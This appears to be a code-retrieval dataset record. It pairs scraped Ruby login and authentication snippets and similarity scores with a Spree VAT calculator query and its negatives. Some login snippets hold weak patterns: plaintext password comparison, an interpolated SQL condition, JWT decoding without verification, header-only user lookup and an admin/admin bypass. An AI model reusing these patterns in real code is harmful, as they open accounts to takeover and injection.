"def login\n @user_login\n end",
"def auth(login, passwd)\n @user = User.find_by_login(login) \n if @user.passwd == encrypt(passwd, @user.salt) \\\n and @user.userstatus_id == 2\n return @user \n end\n end",
"def perform\n u = User.find_by(username: @username)\n return u if u.try(:authenticate, @password)\n nil\n end",
"def login\n return if generate_blank\n @user = User.new(params[:user])\n if session[:user] = User.authenticate(params[:user][:login], params[:user][:password])\n session[:user].logged_in_at = Time.now\n session[:user].save\n flash[:notice] = 'Login successful'\n redirect_to_stored_or_default :action => 'home'\n else\n @login = params[:user][:login]\n flash.now[:warning] = 'Login unsuccessful'\n end\n end",
"def authenticated_user\n @authenticated_user ||= user(options[:login])\n end",
"def login_user\n\t @user_session = UserSession.new\t \n\tend",
"def authenticated_user\n if session[:user_id].nil?\n return nil\n else\n return User.find(session[:user_id])\n end\n end",
"def get_user\n \n # Retrieve user id if stored in a cookies\n # @TODO Secure ID when stored in cookies\n if cookies[:user]\n return User.find(cookies[:user])\n\n # Retrieve user id if stored in session\n elsif session[:user]\n return User.find(session[:user])\n\n # No user logged in\n else\n return nil\n end\n\n end",
"def login\n\t\t@user = User.new\n\tend",
"def getLoggedInUser\n if session[:user_id]\n return User.find(session[:user_id])\n else\n return nil\n end\n end",
"def authenticated_user\n user if valid? && user&.authenticated?(password)\n end",
"def authenticate\n if session[:account].blank?\n @is_login = false\n reset_session\n render \"login/error\"\n else\n @is_login = true\n @user = User.where( \"account = ?\", session[:account] )[0]\n end\n end",
"def user(login)\n if login == options[:login]\n AuthenticatedUser.new(self, :login => options[:login])\n else\n User.new(self, :login => login)\n end\n end",
"def check_user\n return nil unless userlogin_signed_in?\n\n User.find_by(email: current_userlogin.email)\n end",
"def login_user(email, clean_password)\n user_data = User.find_by_email email\n return false unless user_data\n password = user_data.password\n return false unless password == hash_str(clean_password)\n return user_data\n end",
"def login\n self.user_id ? user.login : self.name\n end",
"def create\n user=ApiM8::Client::Account::Users.instance.login(params[:login], params[:password])\n puts user.current_user\n\n if user\n session[:current_user_id]=user.id\n redirect_to role_super_admin_dashboards_url, :notice => \"Logged in as #{params[:login]}!\"\n else\n flash[:danger] = 'Invalid email/password combination' # Not quite right!\n render \"new\"\n end\n\n\n end",
"def login(name_or_email, plain_password)\n name_or_email.downcase! # \n if name_or_email.include?(\"@\")\n user = User.find_by_email(name_or_email)\n else\n user = User.find_by_username(name_or_email)\n end\n if user == nil || user.password != plain_password || !user.validated\n user = nil\n end\n return user\nend",
"def login\n valid = true\n \n if username.blank?\n self.errors.add_to_base(\"Please enter a user name\")\n valid = false\n end\t\n \n if password.blank?\n self.errors.add_to_base(\"Please enter a password\")\n valid = false\n end\n \t\t\n if valid\n user = User.find(:first, :conditions => [\"username = ? AND password = ?\", username, password])\n \n if user\n self.id = user.id\n self.reload\n else\n self.errors.add_to_base(\"The user name/password was incorrect.\")\n valid = false\n end\n end\n \n valid\n end",
"def login_from_session\n self.current_user = User.find(session[:user_id]) if session[:user_id]\n end",
"def valid_login?(login, password)\n if user = user?(login) and auth(user, password)\n return user\n end\n end",
"def login\n user = User.find_by_email(params[:email])\n\n if user && user.valid_password?(params[:password])\n expose user, serializer: CompactUserSerializer\n else\n error! :invalid_resource, user.try(:errors),\n metadata: { error_description: \"Invalid login information.\" }\n end\n end",
"def user\n user = User.find_by_email(email)\n # return the user if a user with that email is found and the password is valid\n return user if user && user.authenticate(password)\n #.authenticate is an ActiveModel::SecurePassword method\n #.authenticate is included via ActiveRecord inheritance and using has_secure_password in the User model\n #.authenticate returns self if password is correct, otherwise returns false\n\n # Otherwise, add this message to error messages & return nothing\n errors.add(:user_authentication, 'This email and password combination is invalid.')\n nil\n end",
"def login\n @user = User.find_or_create_from_auth_hash(auth_hash)\n @user_name = @user.display_name\n\n session[:current_user_id] = @user.id\n\n render :login, :layout => false\n end",
"def login(username, password)\n user = User.authenticate(username, password)\n\n unless !user\n @session[:user] = user.id\n end\n\n user\n end",
"def login_from_session\n self.current_user = User.find(session[:user_id]) if session[:user_id]\n end",
"def login_from_session\n self.current_user = User.find(session[:user_id]) if session[:user_id]\n end",
"def registered_user_with_login_credentials\n login_credentials = decoded_credentials\n unless login_credentials.blank?\n email = login_credentials[0]\n password = login_credentials[1]\n registered_user = RegisteredUser.where(email: email).first\n if registered_user && registered_user.valid_password?(password)\n return registered_user\n else\n return nil\n end\n end\n end",
"def login\n if not @login.nil? and not @login.blank?\n @login\n elsif not self.username.nil? and not self.username.empty?\n self.username\n else\n self.email\n end\n end",
"def login(user, password)\n @user = user\n @password = password\n\n User.user = @user\n User.password = @password\n \n Broadcast.user = @user\n Broadcast.password = @password\n\n # Set cached variables to save a lot of REST requests.\n @logged_in = currentUserExists?\n @is_admin = checkIsAdmin?\n return @logged_in\n end",
"def authenticate_user\n if session[:user_id]\n # set current user object to @current_user object variable\n puts \"===============================================auth_if==============================================\"\n @current_user = User.find session[:user_id]\n return true\n else\n puts \"===============================================auth_else==============================================\"\n redirect_to(:controller => 'welcome', :action => 'index')\n return false\n end\n end",
"def authenticate_user\n unless session[:user_id]\n #If there's no user_id in the current session the user is redirected to the login page.\n redirect_to(:controller => 'sessions', :action => 'login')\n return false\n else\n #If there is a current user_id in the session @current_user will receive the User business object corresponding to\n #that ID.\n @current_user = User.find session[:user_id]\n return true\n end\n end",
"def session_login\n @current_user = User.find(session[:user_id])\n rescue ActiveRecord::RecordNotFound\n return false\n end",
"def login\n redirect_to(root_url) && return if logged_in?\n @user = User.new params[:user]\n if meth = params[:type]\n usr = @user.send(meth)\n unless usr.new_record? # registration/login success\n session[:user_id] = usr.id\n redirect_to(root_url)\n end\n end\n end",
"def login_api\n @user = User.find_for_database_authentication({:username => params[:username].downcase})\n\n if (!@user.nil?)\n if (!@user.valid_password?(params[:password]))\n @user = nil\n end\n end\n\n if (@user.nil?)\n @user = User.find_by_auth_token(params[:auth_token]) unless params[:auth_token].nil?\n else\n @user.generate_auth_token\n end\n\n if @user.nil?\n # Do nothing\n error \"Your username or password was incorrect.\"\n else\n render json: @user\n end\n end",
"def login_api\n @user = User.find_for_database_authentication({:username => params[:username].downcase})\n\n if (!@user.nil?)\n if (!@user.valid_password?(params[:password]))\n @user = nil\n end\n end\n\n if (@user.nil?)\n @user = User.find_by_auth_token(params[:auth_token]) unless params[:auth_token].nil?\n else\n @user.generate_auth_token\n end\n\n if @user.nil?\n # Do nothing\n error \"Your username or password was incorrect.\"\n else\n render json: @user\n end\n end",
"def get_user_from_session\n authorize()\n @user = @current_user\n end",
"def get_login\r\n if ((self.user_id) && (self.user_id > 0))\r\n return self.user.name\r\n else\r\n return false\r\n end\r\n end",
"def login_from_session\n self.current_user = User.find_by_id( session[ :user_id ] ) if session[ :user_id ]\n end",
"def authenticate(email, password)\n user = User.find_by_email(email) #find user exist in db\n return user if user && user.password == password #authenticate pwd\n nil\n end",
"def api_user\n user = User.find_by_email(email)\n unless user.present?\n errors.add :message, \"Invalid email\"\n return nil\n end\n\n unless user.authenticate(password)\n errors.add :message, \"Invalid password\"\n return nil\n end\n\n return user\n end",
"def call\n user = User.find(email: @email)\n\n return user if user&.authenticate(@password)\n\n raise(Exceptions::InvalidEmailOrPassword)\n end",
"def login?\n if login\n return true\n else\n return nil\n end\n end",
"def authenticate(username_or_email, password)\n user = PublicEarth::Db::User.new\n if username_or_email.blank?\n user.errors.add_to_base(\"NO_USERNAME\")\n elsif password.blank?\n user.errors.add_to_base(\"NO_PASSWORD\")\n else\n existing = find_by_username_or_email(username_or_email)\n if existing\n if active?(existing.id)\n begin\n user.attributes = one.authenticate(username_or_email, password)\n user.authenticated = true\n rescue\n user.errors.add(:username, \"INVALID_PASSWORD\")\n end\n else\n user.errors.add_to_base(\"UNCONFIRMED\")\n end\n else\n user.errors.add_to_base(\"INVALID_ACCOUNT\")\n end\n end\n user\n end",
"def login\n @user = User.authenticate credentials[:email], credentials[:password]\n if @user # serializer makes it easier to return json, in this case the token\n render json: @user, serializer: LoginUserSerializer, root: 'user'\n else\n head :unauthorized # if authentication case this is executed\n end\n end",
"def login_from_session\n self.current_user = User.find_by_id(session[:user_id]) if session[:user_id]\n end",
"def log_in\n @user = User.new\n end",
"def login\n @user = User.where(email: params[:user][:email]).first\n\n if @user.present? && @user.authenticate(params[:user][:password])\n session[:user_id] = @user.id\n render status: 200, notice: \"Signed in successfully\"\n else\n render status: 401, alert: \"Error signing in\"\n end\n end",
"def login_user(username, password) # a[userid], \n result = db_connection().execute('SELECT id, password FROM users WHERE username=?', username)\n p result\n if result.length > 0\n if BCrypt::Password.new(result[0][\"password\"]) == password\n return {\n ok: true,\n msg: \"Logged in!\",\n id: result[0][\"id\"]\n }\n end\n return {\n ok: true,\n msg: \"Logged in!\"\n }\n end\n return {\n ok: false,\n msg: \"Password not located!\"\n }\n end",
"def try_login\n if user = http_auth_login || validation_login || remember_me_login\n session[:uid] = user.id\n end\n end",
"def login\n @submitted_credentials = User.new(params)\n\n @user = User.find_by_email(@submitted_credentials.email)\n if @user.nil?\n @submitted_credentials.errors.add(:email, \"is not a associated with a valid user\")\n else\n @submitted_credentials.errors.add(:not_active, \"this account must be activated before use\") if @user.active == false\n @submitted_credentials.errors.add(:password, \"is not valid for the given email\") if not @user.is_users_password?(@submitted_credentials.password)\n end\n \n respond_to do |format|\n if (@submitted_credentials.errors.empty?) \n self.current_user = @user\n format.html { redirect_to(projects_path) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"home\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def logged_in_user\n if decoded_token\n user_id = decoded_token[0]['user_id']\n @user = User.find_by(id: user_id)\n end\n end",
"def logged_in_user\n if decoded_token\n user_id = decoded_token[0]['user_id']\n @user = User.find_by(id: user_id)\n end\n end",
"def current_user\n if @user\n @user\n elsif session[:user_id]\n @user = User.find(session[:user_id])\n else\n redirect_to login_path and return\n end\n end",
"def authenticate(login, password)\n u = users.query_for_authenticate(login).as(entity).one\n App.logger.debug \"RW users-repo.authenticate, user: #{u}\"\n if u && u.authenticate(password)\n # This bit clears a password_reset_code (this assumes it's not needed, cuz user just authenticated successfully).\n (u.password_reset_code = nil; u.save) if u.password_reset_code\n u\n else\n nil\n end\n end",
"def getUser login\n return false if !@usrData\n @usrData[login]\n end",
"def authenticate\n\t\t@authenticatedUser = User.where(:name => params[:user][:Name],:password => params[:user][:Password]).first\n\n\t\t@user = User.new(params[:user])\n\t\tfirst_time = false\n\n\t\tif (User.all.size == 0) && @authenticatedUser.nil? && params[:user][:Name] == \"admin\" && params[:user][:Password] == \"admin\"\n\t \t\t@authenticatedUser = User.new\n\t \t\tfirst_time = true\n\t \tend\n\n\t \tif (not @authenticatedUser.nil?) or first_time\n\t\t\tlogin_ok = is_admin(@authenticatedUser)\n\t\t\n\t\t\tif login_ok or first_time\n\t\t\t\tsession[:currentUser] = @authenticatedUser\n\t\t\t\tredirect_to :action => \"home\"\n\t\t\telse\n\t\t\t\tredirect_to '/login/index', :notice => 'Invalid username or password please try again.'\n\t\t\tend\n\t\telse\n\t\t\tredirect_to '/login/index', :notice => 'Invalid username or password please try again.'\n\t\tend\n\tend",
"def login\n @login ||= begin\n client.user.login\n rescue Octokit::Unauthorized, Faraday::ConnectionFailed\n nil\n end\n end",
"def login_faild\n\t\treturn error_log errors:{unauthenticated:[\"Incorrect User name and password\"]}\n\tend",
"def login(params)\n begin\n # This is a object of User model\n user = User.new\n\n presentable_error_response(\"BLANK_EMAIL_PASSWORD\") if all_params_present(params[:email], params[:password])\n presentable_error_response(\"INVALID_EMAIL_PASSWORD\") unless user.find_email_password(params[:email],params[:password])\n\n return prepare_success_response(user.create_authentication_token(user.find_data_by_email((params[:email]).downcase)))\n rescue DataBaseException => e\n presentable_error_response(\"INTERNAL_ISSUE\")\n end\n end",
"def process_login\n user = User.where(login: params[:user][:login], password: params[:user][:password]).first\n respond_with :api, json:!user.nil?\n end",
"def login_from_session\n self.current_user = User.find_by_id(session[:user_id]) if session[:user_id]\n end",
"def login\n @user = User.find_by(email: params[:email])\n if @user\n if @user.authenticate(params[:password])\n render json: @user, serializer: CurrentUserSerializer\n else\n @error = {error: \"Email and/or password does not exist, please try again\"}\n render json: @error, status: 403\n end\n else\n @error = {error: \"Email and/or password does not exist, please try again\"}\n render json: @error, status: 403\n end\n end",
"def create\n user = User.find_by(email: login_params[:email])\n if user && user.authenticate(login_params[:password])\n session[:user_id] = user.id\n render json: { logged_in: true, user: UserSerializer.new(user) }, status: 200\n else\n \n render json: {errors: ['invalid email or password']}, status: 401\n end\n end",
"def login_from_session\nself.current_user = User.find_by_id(session[:user_id]) if session[:user_id]\nend",
"def login\n if User.find_by(email: user_params[:email]).try(:authenticate, user_params[:password])\n puts \"GOTIT \", user_params[:email], \"dssdf\"\n render json: User.find_by(email: user_params[:email])\n else\n puts \"MISSEDIT \", user_params[:email], \"dssdf\"\n render json: \"false\"\n end\n end",
"def login\n create(:user).tap{ |user| login_as(user) }\n end",
"def user\n return nil if !session[:user]\n @user ||= fetch_user(session[:user])\n end",
"def user\n return nil if !session[:user]\n @user ||= fetch_user(session[:user])\n end",
"def user\n return nil if !session[:user]\n @user ||= fetch_user(session[:user])\n end",
"def logged_user\n if decoded_token\n user_id = decoded_token[0].to_i\n @user = User.find user_id\n end\n end",
"def login_user(user = User.create!(email: 'marcos@iugu.com.br', password: '123456'))\n \tlogin_as user, scope: :user\n user\n end",
"def have_logged_in_user\r\n HaveLoggedInUser.new\r\n end",
"def comprobar_usuario_login\n @usuario_actual=nil\n return unless session[:user_id]\n @usuario_actual = Usuario.find_by_id(session[:user_id])\n end",
"def login_user(params)\n val = validate_user(params)\n if val == false\n return {\n error: true,\n message: \"no such user user\"\n }\n end\n username = params[\"name\"]\n pswrd = params[\"password\"]\n\n db = connect()\n \n result = db.execute(\"SELECT id, password FROM Users WHERE name = ?\", username).first\n \n password = result[\"password\"]\n if BCrypt::Password.new(password) != pswrd\n return {\n error: true,\n message: \"Wrong password\"\n }\n else\n return {\n error: false,\n id:result[\"id\"]\n }\n end\n end",
"def login(email, password)\n user = User.new\n puts user.login email, password\n end",
"def authenticate!\n\n # mapping comes from devise base class, \"mapping.to\" is the class of the model\n # being used for authentication, typically the class \"User\". This is set by using\n # the `devise` class method in that model\n klass = mapping.to\n\n if request.headers['HTTP_X_MY_API'].present?\n # the returned user object will be saved and serialised into the session\n user = klass.find_or_initialize_by_email(request.headers['HTTP_X_MY_API'])\n success! user\n end\n\n # if we wanted to stop other strategies from authenticating the user\n end",
"def create\n\t resource = User.find_for_database_authentication(email: params[:user][:email]) \n\t return failure unless resource\n\t return failure unless resource.valid_password?(params[:user][:password])\n\t render status: 200,\n\t json: {\n\t success: true, \n\t info: \"Logged in\", \n\t data: {\n\t auth_token: current_user.authentication_token\n\t }\n\t }\n\tend",
"def get_login_by_user_id(user_id)\n\t@user = User.find(:first ,:select=>\"login\",:conditions=>[\"id=#{user_id}\"])\n return @user.login\n end",
"def authenticate_and_load_user\n authentication_token = nil\n if request.headers[\"Authorization\"]\n authentication_token = request.headers[\"Authorization\"].split[1]\n end\n if authentication_token\n user = JWT.decode(authentication_token, nil, false, algorithms: 'RS256')\n username = user[0][\"nickname\"]\n email = user[0][\"name\"]\n\n if user[0]['sub'].include? 'google-oauth2'\n email = username + '@gmail.com'\n end\n\n @current_user = User.find_by(email: email, username: username)\n if !@current_user.present?\n user = User.new(email: email, username: username, password: '000000', password_confirmation: '000000', auth_token: authentication_token)\n if user.save\n @current_user = user\n end\n end\n end\n return if @current_user.present?\n render json: {\n messages: \"Can't authenticate user\",\n is_success: false,\n data: {}\n }, status: :bad_request\n end",
"def check_login\n\n if User.where({ :username => params[:username] }).first\n found_user = User.where({ :username => params[:username] }).first\n\n if found_user && found_user.password == params[:password]\n session[:property_admin_id] = found_user.id\n flash[:success] = \"You successfully logged in!\"\n redirect_to admin_index_path\n return\n else\n flash[:error] = \"Wrong password, please try again.\"\n redirect_to admin_login_path\n return\n end\n \n else\n\n flash[:error] = \"User doesn't exist, please try again.\"\n redirect_to admin_login_path\n return\n\n end\n\n end",
"def get_logged_in_user\n if @logged_in\n if Student.exists?(session[:id])\n @logged_in_user = Student.find(session[:id])\n elsif Marker.exists?(session[:id])\n @logged_in_user = Marker.find(session[:id])\n end\n end\n end",
"def get_user_from_session\r\n return User.find(session[:user_id]) if session[:user_id]\r\nend",
"def get_user\n\t\tif !session[:user_id]\n\t\t\t@user = nil\n\t\telse\n\t\t\t@user = User.find(session[:user_id])\n\t end\n\tend",
"def login\n user = User.find_by(email: user_login_params[:email])\n\n if user && user.authenticate(user_login_params[:password])\n token = create_token(user.id)\n render json: {\n user: user.attributes.except(\"password_digest\"),\n token: token,\n }, status: :ok\n else\n render json: {error: \"unauthorized\"}, status: :unauthorized\n end\n end",
"def login\n user = User.find_by(email: user_login_params[:email])\n\n if user && user.authenticate(user_login_params[:password])\n token = create_token(user.id)\n render json: {\n user: user.attributes.except(\"password_digest\"),\n token: token,\n }, status: :ok\n else\n render json: {error: \"unauthorized\"}, status: :unauthorized\n end\n end",
"def login_user\n password = Faker::Internet.password\n with_versioning do\n @logged_in_user = create(:user, password: password, password_confirmation: password)\n end\n sign_in_with_credentials(@logged_in_user.email, password)\n end",
"def authenticated_user\n User.where(email: email_from_headers, password: password_from_headers).first\n end",
"def login!\n raise LoginFailed, 'Could not login with provided username and password' if !self.login\n return @last_login\n end",
"def login\n self.class.trace_execution_scoped(['Custom/login/find_user']) do\n @u = (User.find_by_primary_email(params[:username].downcase) || User.find_by_nickname(params[:username].downcase.to_s)) if params[:username]\n end\n\n self.class.trace_execution_scoped(['Custom/login/if_block']) do\n if @u and @u.has_password? and @u.valid_password?(params[:password])\n @user = @u\n elsif @u and (params[:password] == \"anonymous\") and (@u.user_type == User::USER_TYPE[:anonymous])\n @user = @u\n else\n query = {:auth_failure => 1, :auth_strategy => \"that username/password\"}\n query[:redir] = params[:redir] if params[:redir]\n redirect_to add_query_params(request.referer || Settings::ShelbyAPI.web_root, query) and return\n end\n end\n\n # any user with valid email/password is a valid Shelby user\n # this sets up redirect\n self.class.trace_execution_scoped(['Custom/login/sign_in_current_user']) do\n sign_in_current_user(@user)\n end\n redirect_to clean_query_params(@opener_location) and return\n end",
"def find_user\n if session[:merchant_id]\n @login_user = User.find_by(id: session[:user_id])\n end\n end",
"def call\n user = User.find_by_username(username)\n return user if user && user.authenticate(password_digest)\n \n errors.add :customer_authentication, 'invalid credentials'\n nil\n end"
] |
[
"0.7688267",
"0.7537561",
"0.7523583",
"0.7509861",
"0.7492866",
"0.73512703",
"0.7322902",
"0.73168355",
"0.7303131",
"0.72990716",
"0.72961223",
"0.7293795",
"0.72626203",
"0.72478175",
"0.7225801",
"0.72189283",
"0.7194552",
"0.7193901",
"0.7192522",
"0.7160053",
"0.7151204",
"0.7123466",
"0.7120729",
"0.7120337",
"0.71160215",
"0.7109086",
"0.7108634",
"0.7107807",
"0.7106232",
"0.709436",
"0.709168",
"0.70902014",
"0.70760775",
"0.70708674",
"0.706574",
"0.706574",
"0.7063688",
"0.7063059",
"0.7054657",
"0.7041317",
"0.7034175",
"0.7033873",
"0.7027892",
"0.70056015",
"0.70056015",
"0.70052147",
"0.70038074",
"0.70019734",
"0.69967294",
"0.69826615",
"0.6978228",
"0.6977808",
"0.69684064",
"0.6959434",
"0.6957756",
"0.6957392",
"0.69492644",
"0.6947498",
"0.694635",
"0.69441587",
"0.69433194",
"0.69433194",
"0.693931",
"0.69376916",
"0.6931783",
"0.6929627",
"0.6927202",
"0.69256955",
"0.69241923",
"0.69174844",
"0.6914659",
"0.690649",
"0.6898036",
"0.68945366",
"0.6893236",
"0.68932307",
"0.6892133",
"0.6892133",
"0.6892133",
"0.6887191",
"0.6884639",
"0.6879234",
"0.68780035",
"0.68767405",
"0.68748057",
"0.68688077",
"0.6867833",
"0.68653756",
"0.68648046",
"0.6863765",
"0.68608487",
"0.6860664",
"0.6859625",
"0.6856773",
"0.6856773",
"0.685649",
"0.6854838",
"0.6854757",
"0.68516743",
"0.68492615",
"0.684913"
] |
0.0
|
-1
|
computes vat for line_items associated with order, and tax rate and now coupon discounts are taken into account in tax calcs
|
def compute(order)
rate = self.calculable
tax = 0
return 0 unless order.ship_address.nil? || order.ship_address.country.nil? || rate.zone.country_list.include?(order.ship_address.country)
if rate.tax_category.is_default and !Spree::Config[ :show_price_inc_vat]
order.adjustments.each do | adjust |
next if adjust.originator_type == "TaxRate"
add = adjust.amount * rate.amount
puts "Applying default rate to adjustment #{adjust.label} (#{adjust.originator_type} ), sum = #{add}"
tax += add
end
end
order.line_items.each do | line_item|
# do not apply tax_rate if product has no tax_category
next unless line_item.product.tax_category_id?
next unless line_item.product.tax_category == rate.tax_category
next unless line_item.product.tax_category.tax_rates.include? rate
tax += BigDecimal((line_item.price * rate.amount).to_s).round(2, BigDecimal::ROUND_HALF_UP) * line_item.quantity
end
tax
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def vat_amount_from_line_item line_item\n amount = line_item.included_tax_total / line_item.quantity\n\n Spree::Money.new(\n BigDecimal.new(amount.to_s).round(2, BigDecimal::ROUND_HALF_UP),\n currency: line_item.currency\n ).cents\n end",
"def line_vat_total\n order_lines.inject(0) { |sum, l| sum + l.vat_amount }\n end",
"def pre_tax_amount_from_line_item line_item\n amount = (line_item.discounted_amount - line_item.included_tax_total) / line_item.quantity\n\n Spree::Money.new(\n BigDecimal.new(amount.to_s).round(2, BigDecimal::ROUND_HALF_DOWN),\n currency: line_item.currency\n ).cents\n end",
"def line_items_pre_tax_price\n @pre_tax ||= LineItem.total_price(unpaid_line_items)\n end",
"def compute(order)\n rate = self.calculable\n line_items = order.line_items.select { |i| i.product.tax_category == rate.tax_category }\n line_items.inject(0) {|sum, line_item|\n sum += (line_item.price * rate.amount * line_item.quantity)\n }\n end",
"def vat_total\n line_vat_total + shipping_vat_amount\n end",
"def format_vat\n if self.vat_type == \"standard_rate_purchases_15\" || self.vat_type == \"standard_rate_sales_15\" || self.vat_type == \"standard_rate_sales_capital_goods_15\"\n self.vat_amount = ( self.price * 0.15) / (1 + 0.15)\n self.net_price = self.price / (1.15)\n \n else\n self.vat_amount = 0\n self.net_price = self.price\n end\n end",
"def compute_shipment_or_line_item(item)\n rate.included_in_price ? raise('TaxCloud cannot calculate inclusive sales taxes.') : round_to_two_places(tax_for_item item)\n end",
"def calculate_final(stripe_invoice:)\n # Find the VAT invoice item.\n vat_line = stripe_invoice.lines.find { |line| line.metadata[:type] == 'vat' }\n other_lines = stripe_invoice.lines.to_a - [vat_line]\n subtotal = other_lines.map(&:amount).inject(:+)\n total = stripe_invoice.total\n\n # Recalculate discount based on the sum of all lines besides the vat line.\n discount = calculate_discount(subtotal, calculate_vat_rate, total) if stripe_invoice.discount\n\n # we do #to_i here because discount can be nil.\n subtotal_after_discount = subtotal - discount.to_i\n\n # If there is vat and a discount, we need to recalculate VAT and the discount.\n calculation = if vat_line && stripe_invoice.discount\n # Recalculate VAT based on the total after discount\n vat_amount, vat_rate = calculate_vat(subtotal_after_discount).to_a\n\n {\n discount_amount: discount,\n subtotal_after_discount: subtotal_after_discount,\n vat_amount: vat_amount,\n vat_rate: vat_rate\n }\n else\n {\n discount_amount: stripe_invoice.subtotal - stripe_invoice.total,\n subtotal_after_discount: subtotal_after_discount,\n vat_amount: (vat_line && vat_line.amount).to_i,\n vat_rate: (vat_line && vat_line.metadata[:rate]).to_i\n }\n end\n\n calculation.merge! \\\n subtotal: subtotal,\n total: stripe_invoice.total,\n currency: stripe_invoice.currency\n end",
"def tax_rate\n self[:tax_rate] ||= Float(line_items.inject(0) {|sum, l| sum + l.tax_rate}) / line_items.size\n end",
"def compute(order)\n rate = self.calculable\n tax = 0\n\n if rate.tax_category.is_default\n order.adjustments.each do | adjust |\n next if adjust.originator_type == \"TaxRate\"\n next if adjust.originator_type == \"ShippingMethod\" and not Spree::Config[:shipment_inc_vat]\n\n tax += (adjust.amount * rate.amount).round(2, BigDecimal::ROUND_HALF_UP)\n end\n end\n\n order.line_items.each do | line_item|\n if line_item.product.tax_category #only apply this calculator to products assigned this rates category\n next unless line_item.product.tax_category == rate.tax_category\n else\n next unless rate.tax_category.is_default # and apply to products with no category, if this is the default rate\n end\n tax += (line_item.price * rate.amount).round(2, BigDecimal::ROUND_HALF_UP) * line_item.quantity\n end\n\n tax\n end",
"def calculate_vat\n return unless claim&.agfs? && amount\n self.vat_amount = VatRate.vat_amount(amount, claim.vat_date, calculate: claim.apply_vat?)\n end",
"def calculate\n @item_list.each { |item|\n tax_rate = (item.exempt? ? 0.00 : Constants::NON_IMPORT_TAX_RATE) + (item.imported? ? Constants::IMPORT_TAX_RATE : 0.00)\n total_before_tax = item.qty * item.price\n tax = (total_before_tax * tax_rate).round_to_05\n\n @receipt_tax += tax\n @receipt_total += item.total = total_before_tax + tax\n }\n\n # do final rounding - needed due to Float quirks\n @receipt_tax = @receipt_tax.round(2)\n @receipt_total = @receipt_total.round(2)\n return self\n end",
"def discount_on_line_item_total\n total_discount = 0\n\n line_item_promotions.each do |promotion|\n total_discount += discount_for_line_item_promotion(promotion)\n end\n\n total_discount\n end",
"def line_total\n (@quantity * @price + line_item_sales_tax_total).round(2)\n end",
"def tax_total\n self.tax_amount = line_items.inject(0.to_money) {|sum,l| sum + l.tax_amount }\n self.tax_rate # calculates average rate, leave for compatibility reasons\n self.tax_amount\n end",
"def calculate_price_with_vat\n if @tax and self.price\n if User.current and User.current.currency\n converted_price = (self.price.to_d / User.current.currency.exchange_rate.to_d).to_d\n else\n converted_price = self.price\n end\n price_with_vat = @tax.apply_tax(converted_price)\n return price_with_vat\n else\n nil\n end\n end",
"def tax_total\n self.tax_amount = line_items.inject(Money.new(0, self.currency || Money.default_currency)) {|sum,l| sum + l.tax_amount }\n self.tax_rate # calculates average rate, leave for compatibility reasons\n self.tax_amount\n end",
"def calculate_tax_for(total)\n if self.vat_rate.present? && self.vat_rate != 0.0\n ((self.vat_rate / 100) * total)\n else\n 0\n end\n end",
"def line_item_sales_tax_total\n\n ((pre_tax_total * 20).ceil.to_f / 20.0).round(2)\n end",
"def amount\n estimate_total = self.estimate_line_items.sum(:amount)\n if self.tax_inclusive? \n tax_total = 0 \n else\n tax_total = 0 \n tax_line_items.each do |line_item|\n tax_account = line_item.account\n next if (tax_account.accountable_type=='DutiesAndTaxesAccounts' && tax_account.accountable.calculation_method==4 && tax_account.accountable.split_tax == 0) \n tax_total += line_item.amount\n end\n end\n ship_charge = self.shipping_line_items.sum(:amount)\n estimate_total + tax_total + ship_charge\n end",
"def calculated_total\n variant_ids = self.standing_line_items.pluck(:variant_id)\n avvs = self.account.account_viewable_variants.where(variant_id: variant_ids).to_a\n\n self.standing_line_items.includes(:variant).inject(0.to_d) do |sum, i|\n avv = avvs.select{|avv| avv.variant_id == i.variant_id}.first\n if avv\n sum + (avv.price * i.quantity)\n else\n sum + (i.variant.price * i.quantity)\n end\n end\n end",
"def vat_percent_from_line_item line_item\n (sum_of_tax_rates(line_item) * FRACTION_TO_MINOR_UNITS).to_i\n end",
"def tax_rate\n write_attribute( :tax_rate, Float(line_items.inject(0) {|sum, l| sum + l.tax_rate}) / line_items.size)\n end",
"def line_items_price_calculations(line_items)\n total_price = 0.0\n line_items.each do |li|\n total_price += (li.quantity * li.price.to_f)\n end\n return total_price\n end",
"def apply_vat(invoice_id:)\n stripe_invoice = Stripe::Invoice.retrieve(invoice_id)\n\n # Add VAT to the invoice.\n vat, invoice_item = charge_vat(stripe_invoice.subtotal,\n invoice_id: invoice_id, currency: stripe_invoice.currency)\n\n Stripe::Invoice.retrieve(invoice_id)\n end",
"def calculate_tax(item, price)\n tax = 0.0\n \n # if no words in the item match the exempt list\n if (Exempt - item.split(\" \")).length == Exempt.length\n tax += 0.10\n end\n\n # if imported, add 5% tax\n if item.split(\" \").include? 'imported'\n tax += 0.05\n end\n\n # round up to nearest .05 calculation\n item_tax = price.to_f * tax\n @tax_hash[item] = (item_tax * 20).ceil / 20.0\n end",
"def compute_tax(item_price, tax_rate)\n item_price * tax_rate\n end",
"def build_estimate_tax\n estimate_line_items.each do |line|\n add_tax_line(line)\n end\n end",
"def calc_all_tax(items)\n items_tax = items.collect { |item| calc_tax(item) }\n end",
"def total_before_tax\n order.delivery_price + items_sub_total\n end",
"def calcuate_tax\n @price * 0.12\n end",
"def total_tax\n line_items.reduce(Money.zero) { |a, e| a + e.total_tax }\n end",
"def tax_total\n self.tax_amount = line_items.inject(0.to_money) {|sum,l| sum + l.tax_amount }\n self.tax_amount\n end",
"def compute(order)\n options = Order.thread_options\n if options[:skip_tax]\n 0.0\n else\n #@@original_compute.bind(self).call(order)\n # this is a bit of a cheat but we are going with the assumption that\n # all items have the same tax rate - this is a very large win performance\n # wise when you have a large number of line items\n rate = self.calculable\n order.line_items.inject(0) {|sum, line_item|\n sum += line_item.total * rate.amount\n }\n end\n end",
"def compute_order(_order)\n raise \"Spree::Calculator::HandlingFeeCalculator is designed to \" \\\n \"calculate taxes at the line-item level.\"\n end",
"def total_before_tax\n self.delivery_price + self.items_sub_total\n end",
"def compute_order(_order)\n raise 'Spree::TaxCloud is designed to calculate taxes at the shipment and line-item levels.'\n end",
"def total_tax_amount_validation\n @items.each do |i|\n next if i[:total_tax_amount].to_i * 100 / (i[:total_amount].to_i - i[:total_tax_amount].to_i) == i[:tax_rate].to_i / 100\n\n raise Klarna::Checkout::Errors::OrderValidationError.new(\n 'inconsistent_order_line_total_tax', 'line_total_tax_amount_not_matching_tax_rate'\n )\n end\n end",
